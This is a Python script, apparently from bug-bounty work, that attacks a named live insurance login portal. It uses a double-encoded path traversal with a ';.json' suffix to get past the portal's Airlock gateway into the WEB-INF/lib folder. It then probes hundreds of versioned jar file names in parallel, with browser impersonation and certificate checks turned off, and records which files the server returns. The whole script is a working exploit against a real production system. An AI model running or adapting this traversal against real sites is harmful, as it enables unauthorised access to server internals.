from curl_cffi import requests
from concurrent.futures import ThreadPoolExecutor
import json, time
host='mein-portal.baloise.de'
trav='/'.join(['%252e%252e']*4)
base=f'https://{host}/auth/ui/assets/airlock/i18n/{trav}/WEB-INF/lib/'
H={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache'}
versions=[]
# likely modern lines first
for major, minors in [(8,range(0,9)),(7,range(0,11)),(6,range(0,11))]:
 for minor in minors:
  versions += [f'{major}.{minor}.{patch}' for patch in range(0,11)]
  versions += [f'{major}.{minor}']
versions += ['8.6.1.0','8.5.1.0','8.4.1.0','SNAPSHOT','RELEASE']
versions=list(dict.fromkeys(versions))
# common should always be in the login app if versioned this way
names=['common.jar','iam-common.jar']+[f'common-{v}.jar' for v in versions]

def one(name):
 u=base+name+';.json?jarver=1'
 try:
  r=requests.get(u,headers=H,timeout=20,allow_redirects=False,impersonate='chrome',verify=False,toadex_capture=False)
  return {'name':name,'status':r.status_code,'size':len(r.content),'ct':r.headers.get('content-type'),'etag':r.headers.get('etag')}
 except Exception as e: return {'name':name,'status':0,'error':repr(e)}
rows=[]
with ThreadPoolExecutor(max_workers=4) as ex:
 for x in ex.map(one,names):
  rows.append(x)
  if x.get('status')!=200 or x.get('size')!=2: print(json.dumps(x),flush=True)
open('work/scratch/liferay-critical/i18n-airlock-version-oracle.jsonl','w').write('\n'.join(json.dumps(x) for x in rows)+'\n')
print('tested',len(rows),'status-counts', {s:sum(x.get('status')==s for x in rows) for s in sorted({x.get('status') for x in rows})})
